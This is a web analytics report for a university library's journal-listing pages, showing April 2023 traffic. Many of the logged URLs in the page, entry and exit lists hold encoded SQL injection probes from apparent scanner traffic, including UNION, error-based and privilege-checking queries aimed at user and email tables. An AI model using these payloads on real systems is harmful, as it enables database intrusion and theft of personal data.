Apr 2023 compared with Mar 2023

←Apr 2023→
SMTWTFS
1
2345678
9101112131415
16171819202122
23242526272829
30

Content

>⌦

>⌦

>⌦

Visitors

>⌦

⌦

>⌦

>⌦

>⌦

>⌦

Referrers

>⌦

>⌦

>⌦

XML format

RSS format

Summary

6hits
9,932↓ 99.9%
12visits
13↓ 7.7%
6unique IPs
4↑ 50.0%
0.2hits ∕ day
320.4↓ 99.9%
0.4visits ∕ day
0.4—

Content

Hits ∕ day

Pages (4)Hits ±
/revistas/letra.php?pagina=10&letra=M30new
/revistas/letra.php?letra=F%27&pagina=4%2710new
/revistas/letra.php?pagina=811↑ 7598
/revistas/letra.php?pagina=188&letra=10new
/revistas/letra.php?pagina=2&letra=R%22%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CN0146↓ 4
/revistas/letra.php?pagina=11&letra=C%22%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C086↓ 4
/revistas/ezletra.php?letra=T07↓ 4
/revistas/letra.php?pagina=2&letra=R05↓ 4
/revistas/letra.php?pagina=3&letra=G05↓ 4
/revistas/letra.php?pagina=11&letra=C05↓ 4
/revistas/letra.php?pagina=2%27%20AND%203120%3DUTL_INADDR.GET_HOST_ADDRESS%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%283120%3D3120%29%20THEN%201%20ELSE%200%20END%29%20FROM%20D04↓ 4
/revistas/letra.php?pagina=2%27%20AND%208195%3DCAST%28%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288195%3D8195%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%2804↓ 4
/revistas/letra.php?pagina=2%27%20AND%20%28SELECT%202%2A%28IF%28%28SELECT%20%2A%20FROM%20%28SELECT%20CONCAT%280x716b717671%2C%28SELECT%20%28ELT%287853%3D7853%2C1%29%29%29%2C0x717a766a71%2C0x78%29%29s%29%2C%208446744073709551610%2C%208446744073709551610%2904↓ 4
/revistas/letra.php?pagina=2%27%20OR%20%28SELECT%209270%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716b717671%2C%28SELECT%20%28ELT%289270%3D9270%2C1%29%29%29%2C0x717a766a71%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%2004↓ 4
/revistas/letra.php?pagina=2%27%20AND%20ROW%281674%2C1896%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716b717671%2C%28SELECT%20%28ELT%281674%3D1674%2C1%29%29%29%2C0x717a766a71%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%204506%20UNION%20SELECT%2004↓ 4
/revistas/letra.php?pagina=2%27%20AND%201729%3D%28SELECT%20UPPER%28XMLType%28CHR%2860%29%7C%7CCHR%2858%29%7C%7CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%281729%3D1729%29%20THEN%04↓ 4
/revistas/letra.php?pagina=2%27%20AND%204785%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28107%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%284785%3D4785%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHA04↓ 4
/revistas/letra.php?pagina=2%27%20AND%203843%3DCTXSYS.DRITHSX.SN%283843%2C%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%283843%3D3843%29%20THEN%201%20ELSE%200%20END%29%20FROM%20D04↓ 4
/revistas/letra.php?pagina=2%27%20ORDER%20BY%201%23&letra=R04↓ 4
/revistas/letra.php?pagina=2%27%20AND%206335%3DCAST%28%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%286335%3D6335%29%20THEN%20BITCOUNT%28BITSTRING_TO_BINARY%28%28CHR%2849%29%204↓ 4
/revistas/letra.php?pagina=2%27%20AND%20%28SELECT%206325%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716b717671%2C%28SELECT%20%28ELT%286325%3D6325%2C1%29%29%29%2C0x717a766a71%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%204↓ 4
/revistas/letra.php?pagina=2%27%20AND%204152%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28107%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%284152%3D4152%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%04↓ 4
/revistas/letra.php?pagina=2%27%20OR%20%28SELECT%202%2A%28IF%28%28SELECT%20%2A%20FROM%20%28SELECT%20CONCAT%280x716b717671%2C%28SELECT%20%28ELT%286699%3D6699%2C1%29%29%29%2C0x717a766a71%2C0x78%29%29s%29%2C%208446744073709551610%2C%208446744073709551610%29%04↓ 4
/revistas/letra.php?pagina=2%27%20AND%209257%3DCONCAT%28CHAR%28113%29%2BCHAR%28107%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2C%28SELECT%20%28CASE%20WHEN%20%289257%3D9257%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2CCHAR%28113%29%04↓ 4
/revistas/letra.php?pagina=2%27%20AND%206521%3DDBMS_UTILITY.SQLID_TO_SQLHASH%28%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%286521%3D6521%29%20THEN%201%20ELSE%200%20END%29%20FRO04↓ 4
/revistas/letra.php?pagina=3%27%20AND%209889%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%289889%3D9889%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%04↓ 4
/revistas/letra.php?pagina=3%27%20AND%20%28SELECT%202%2A%28IF%28%28SELECT%20%2A%20FROM%20%28SELECT%20CONCAT%280x7171767171%2C%28SELECT%20%28ELT%289008%3D9008%2C1%29%29%29%2C0x71706a7071%2C0x78%29%29s%29%2C%208446744073709551610%2C%208446744073709551610%2904↓ 4
/revistas/letra.php?pagina=3%27%20AND%208420%3DCAST%28%28CHR%28113%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288420%3D8420%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%2804↓ 4
/revistas/letra.php?pagina=3%27%20AND%20ROW%286272%2C2905%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7171767171%2C%28SELECT%20%28ELT%286272%3D6272%2C1%29%29%29%2C0x71706a7071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%208843%20UNION%20SELECT%2004↓ 4
/revistas/letra.php?letra=-607404↓ 4
/revistas/letra.php?pagina=3%27%20OR%20%28SELECT%202%2A%28IF%28%28SELECT%20%2A%20FROM%20%28SELECT%20CONCAT%280x7171767171%2C%28SELECT%20%28ELT%281276%3D1276%2C1%29%29%29%2C0x71706a7071%2C0x78%29%29s%29%2C%208446744073709551610%2C%208446744073709551610%29%04↓ 4
/revistas/letra.php?pagina=3%27%20AND%20%28SELECT%208753%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7171767171%2C%28SELECT%20%28ELT%288753%3D8753%2C1%29%29%29%2C0x71706a7071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%204↓ 4
/revistas/letra.php?pagina=3%27%20AND%207121%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%287121%3D7121%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHA04↓ 4
/revistas/letra.php?pagina=2%27%20AND%207402%3DRAISE_ERROR%28CHR%2855%29%7C%7CCHR%2848%29%7C%7CCHR%2848%29%7C%7CCHR%2848%29%7C%7CCHR%2849%29%2CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%2004↓ 4
/revistas/letra.php?pagina=2%27%20OR%203633%3DRAISE_ERROR%28CHR%2855%29%7C%7CCHR%2848%29%7C%7CCHR%2848%29%7C%7CCHR%2848%29%7C%7CCHR%2849%29%2CCHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7C%28SELECT%20%28CASE%20W04↓ 4
/revistas/letra.php?letra=F04↓ 4
/revistas/letra.php?pagina=3%27%20OR%20%28SELECT%204702%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7171767171%2C%28SELECT%20%28ELT%284702%3D4702%2C1%29%29%29%2C0x71706a7071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%2004↓ 4
/revistas/letra.php?pagina=3%27%20OR%20ROW%289441%2C2655%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7171767171%2C%28SELECT%20%28ELT%289441%3D9441%2C1%29%29%29%2C0x71706a7071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%207146%20UNION%20SELECT%20904↓ 4
/revistas/letra.php?pagina=2%27%20OR%20ROW%281168%2C4080%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x716b717671%2C%28SELECT%20%28ELT%281168%3D1168%2C1%29%29%29%2C0x717a766a71%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%205122%20UNION%20SELECT%20104↓ 4
/revistas/letra.php?pagina=2%27%20AND%207170%3D%28CODE%28113%29%7C%7CCODE%28107%29%7C%7CCODE%28113%29%7C%7CCODE%28118%29%7C%7CCODE%28113%29%7C%7C%28SELECT%20CASE%207170%20WHEN%207170%20THEN%20CODE%2849%29%20ELSE%20CODE%2848%29%20END%29%7C%7CCODE%28113%29%04↓ 4
/revistas/letra.php?pagina=3%22%20OR%20%28SELECT%202%2A%28IF%28%28SELECT%20%2A%20FROM%20%28SELECT%20CONCAT%280x7171767171%2C%28SELECT%20%28ELT%281276%3D1276%2C1%29%29%29%2C0x71706a7071%2C0x78%29%29s%29%2C%208446744073709551610%2C%208446744073709551610%29%03↓ 4
/revistas/letra.php?pagina=3%22%20AND%207121%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%287121%3D7121%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2BCHA03↓ 4
/revistas/letra.php?pagina=3%22%20AND%20%28SELECT%208753%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7171767171%2C%28SELECT%20%28ELT%288753%3D8753%2C1%29%29%29%2C0x71706a7071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%203↓ 4
/revistas/letra.php?pagina=2%27%29%20AND%208195%3DCAST%28%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288195%3D8195%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR03↓ 4
/revistas/letra.php?pagina=3%27%29%20AND%20ROW%286272%2C2905%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7171767171%2C%28SELECT%20%28ELT%286272%3D6272%2C1%29%29%29%2C0x71706a7071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%208843%20UNION%20SELECT03↓ 4
/revistas/letra.php?pagina=3%20OR%20ROW%289441%2C2655%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7171767171%2C%28SELECT%20%28ELT%289441%3D9441%2C1%29%29%29%2C0x71706a7071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%207146%20UNION%20SELECT%20924003↓ 4
/revistas/letra.php?pagina=3%20AND%20ROW%286272%2C2905%29%3E%28SELECT%20COUNT%28%2A%29%2CCONCAT%280x7171767171%2C%28SELECT%20%28ELT%286272%3D6272%2C1%29%29%29%2C0x71706a7071%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20%28SELECT%208843%20UNION%20SELECT%2022103↓ 4
/revistas/letra.php?pagina=3%20AND%208420%3DCAST%28%28CHR%28113%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%288420%3D8420%29%20THEN%201%20ELSE%200%20END%29%29%3A%3Atext%7C%7C%28CHR%2811303↓ 4
/revistas/letra.php?pagina=3%27%29%20AND%207121%20IN%20%28SELECT%20%28CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%287121%3D7121%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%29%2B03↓ 4
/revistas/letra.php?pagina=2%20AND%206335%3DCAST%28%28CHR%28113%29%7C%7CCHR%28107%29%7C%7CCHR%28113%29%7C%7CCHR%28118%29%7C%7CCHR%28113%29%29%7C%7C%28SELECT%20%28CASE%20WHEN%20%286335%3D6335%29%20THEN%20BITCOUNT%28BITSTRING_TO_BINARY%28%28CHR%2849%29%29%203↓ 4
Entry pages (4)Visits ±
/revistas/letra.php?pagina=10&letra=M60new
/revistas/letra.php?letra=F%27&pagina=4%2720new
/revistas/letra.php?pagina=821↑ 4
/revistas/letra.php?pagina=188&letra=20new
/revistas/letra.php?letra=F04↓ 4
/revistas/ezletra.php?letra=T03↓ 4
/revistas/letra.php?pagina=2&letra=R01↓ 4
/revistas/letra.php?pagina=3&letra=G01↓ 4
/revistas/letra.php?pagina=24&letra=J01↓ 4
/revistas/letra.php?letra=S%27&pagina=3%2701↓ 4
/revistas/letra.php?pagina=11&letra=C01↓ 3
Exit pages (4)Visits ±
/revistas/letra.php?pagina=10&letra=M60new
/revistas/letra.php?letra=F%27&pagina=4%2720new
/revistas/letra.php?pagina=821↑ 10
/revistas/letra.php?pagina=188&letra=20new
/revistas/letra.php?pagina=11&letra=-8570%22%20OR%204072%3D%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0x726f6f74%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%201↓ 4
/revistas/letra.php?letra=S%27&pagina=3%2701↓ 4
/revistas/letra.php?pagina=3%27%20AND%209889%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28113%29%2BCHAR%28113%29%2B%28SELECT%20%28CASE%20WHEN%20%289889%3D9889%29%20THEN%20CHAR%2849%29%20ELSE%20CHAR%2848%29%20END%29%01↓ 4
/revistas/letra.php?pagina=2&letra=-6741%22%20OR%20%28SELECT%20%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0x726f6f74%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%29%3D1--%20HsXq01↓ 4
/revistas/letra.php?pagina=24&letra=J01↓ 4
/revistas/letra.php?letra=-2846%22%20OR%208459%3D%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20participantes%20WHERE%20Email%20LIKE%200x254025%29%2C1%2C1%29%29%3E1%29%20THEN%2084501↓ 4
/revistas/letra.php?letra=-4151%22%20OR%209087%3D%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20tblcliente%20WHERE%20email%20LIKE%200x254025%29%2C1%2C1%29%29%3E1%29%20THEN%209087%201↓ 4
/revistas/ezletra.php?letra=-3818%22%20OR%204734%3D%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20department%20WHERE%20email%20LIKE%200x254025%29%2C1%2C1%29%29%3E1%29%20THEN%20473401↓ 4
/revistas/ezletra.php?letra=T%22%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CCONCAT%280x717a787171%2C%28CASE%20WHEN%20%28%28SELECT%20super_priv%20FROM%20mysql.user%20WHERE%20user%3D0x726f6f74%20LIMIT%200%2C1%29%3D0x59%29%20THEN%201%20ELSE%200%20END%29%2C0x717001↓ 4
/revistas/ezletra.php?letra=-1367%22%20OR%202934%3D%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20participantes%20WHERE%20Email%20LIKE%200x254025%29%2C1%2C1%29%29%3E1%29%20THEN%20201↓ 4
/revistas/letra.php?letra=-9016%22%20OR%202957%3D%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20staff%20WHERE%20email%20LIKE%200x254025%29%2C1%2C1%29%29%3E1%29%20THEN%202957%20ELSE01↓ 4
/revistas/letra.php?letra=-9448%22%20OR%203129%3D%28SELECT%20%28CASE%20WHEN%20%28ORD%28MID%28%28SELECT%20IFNULL%28CAST%28COUNT%28%2A%29%20AS%20NCHAR%29%2C0x20%29%20FROM%20mrbs_users%20WHERE%20email%20LIKE%200x254025%29%2C1%2C1%29%29%3E1%29%20THEN%203129%201↓ 4

Visitors

IP addresses (6)Visits ±
→ 156.239.38.020new
→ 51.89.34.020new
→ 23.230.44.020new
→ 13.38.29.020new
→ 154.202.120.020new
→ 51.195.161.020new

Pages viewed

Apr 2023
Operating systems (3)% ±
Windows33.390.0↓ 56.7
Symbian33.30.01↑ 33.3
Macintosh33.30.0new
Screen sizes (1)% ±
Unknown100.0100.0—
Countries (3)% ±
Unknown50.00.0new
United Kingdom33.30.0new
United States16.70.01↑ 16.7

Map

Hits 1   2
Languages (1)% ±
Unknown100.0100.0—

Referrers

Search terms (0)Visits ±
Domains (0)Visits ±
biblioteca.ibt.unam.mx02—
Referrers (0)Visits ±
→ http://biblioteca.ibt.unam.mx:80/revistas/letra.php02—

Visit source